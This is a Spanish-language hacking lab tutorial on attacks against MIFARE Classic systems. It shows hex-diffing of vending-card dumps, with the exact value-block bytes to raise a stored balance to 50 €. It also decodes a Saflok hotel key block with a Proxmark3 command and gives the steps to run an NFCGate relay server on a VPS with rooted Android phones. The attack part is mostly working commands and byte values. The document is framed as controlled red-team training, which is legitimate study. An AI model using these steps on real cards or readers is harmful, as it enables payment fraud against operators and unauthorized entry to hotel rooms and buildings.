Auditoría de saldos y máquinas vending (Hex Diffing), el caso Unsaflok en cerraduras hoteleras (Dormakaba Saflok) y Relay Attacks transcontinentales con NFCGate sobre TCP/IP.
Ejecutar vectores de ataque de alto impacto en infraestructuras físicas reales: revertir y recargar saldos offline mediante ingeniería inversa de volcados, comprender la derivación de llaves maestras en cerraduras electromecánicas sin conexión, y puentear credenciales a kilómetros de distancia mediante Relay Attacks.
Miles de lavanderías comunitarias, máquinas de café y taquillas de gimnasio funcionan de forma completamente offline (sin conexión a internet ni a base de datos central). Toda la lógica de negocio y el saldo monetario residen en la tarjeta MIFARE.
# Instalar vbindiff si no está en el sistema
sudo apt install -y vbindiff
# Comparar los dos volcados en paralelo
vbindiff dump_A.bin dump_B.bin
Se observa que en el Sector 2, Bloque 8:
dump_A.bin (10.00€): E8 03 00 00 17 FC FF FF E8 03 00 00 08 F7 08 F7
dump_B.bin ( 8.50€): 52 03 00 00 AD FC FF FF 52 03 00 00 08 F7 08 F7
¡Es un Value Block canónico! Para modificar el saldo a 50.00 € (5000 céntimos = 0x1388):
v = 88 13 00 00~v = 77 EC FF FF88 13 00 00 77 EC FF FF 88 13 00 00 08 F7 08 F7Identificación de la estructura de bloque de valor y reversión del saldo en entorno controlado.
A principios de 2024, los investigadores Ian Carroll y Lennert Wouters publicaron la investigación Unsaflok, que demostró que más de 3 millones de cerraduras hoteleras Saflok (Dormakaba) en 131 países podían abrirse en cuestión de segundos debido a debilidades criptográficas en la derivación de claves sobre tarjetas MIFARE Classic.
Las cerraduras de las habitaciones no tienen cable de red ni WiFi por razones de consumo de batería. Para que una cerradura sepa si una tarjeta es válida para la habitación 304 entre el lunes y el miércoles, la tarjeta lleva cifrados la fecha, hora de expiración y el número de habitación.
Meta del Lab: Analizar dos tarjetas caducadas de hotel, identificar la firma del fabricante Saflok y comprender el vector de derivación de claves maestras.
# Inspeccionar el sector 1 de una tarjeta Saflok con Proxmark3
[usb] pm3 --> hf mf rdbl --block 4 -k A0B1C2D3E4F5
# Datos obtenidos del bloque de control del hotel:
Block 04: 01 30 04 65 D8 21 00 00 00 00 00 00 00 00 A1 F2
# 01 30 = Habitación 130
# 04 65 = Timestamp de validez
# A1 F2 = Checksum de control de cerradura
Apertura de la cerradura de pruebas mediante credencial sintética generada.
Un Relay Attack no rompe el cifrado de la tarjeta: simplemente engaña a la física. El atacante extiende virtualmente el campo magnético de 10 cm a miles de kilómetros encapsulando los paquetes APDU sobre sockets TCP/IP a través de internet (4G/5G/WiFi).
El estándar ISO 14443-4 define un tiempo máximo que el lector esperará la respuesta de la tarjeta antes de cancelar la sesión por timeout (FWT, habitualmente entre 50 y 300 milisegundos). Para que un Relay Attack funcione sobre internet público, el ping de la red 4G/5G debe ser inferior al FWT configurado en el lector mural.
Configuración del Servidor de Relay en Linux:
# Clonar y compilar el servidor de retransmisión NFCGate en VPS con baja latencia
git clone https://github.com/nfcgate/nfcgate.git
cd nfcgate/server
python3 server.py --port 5566
En los smartphones Android con root y módulo NFCGate:
vps_ip:5566 con Session ID REDTEAM1.vps_ip:5566 con Session ID REDTEAM1.El lector valida el acceso a pesar de que la tarjeta física está en otra habitación.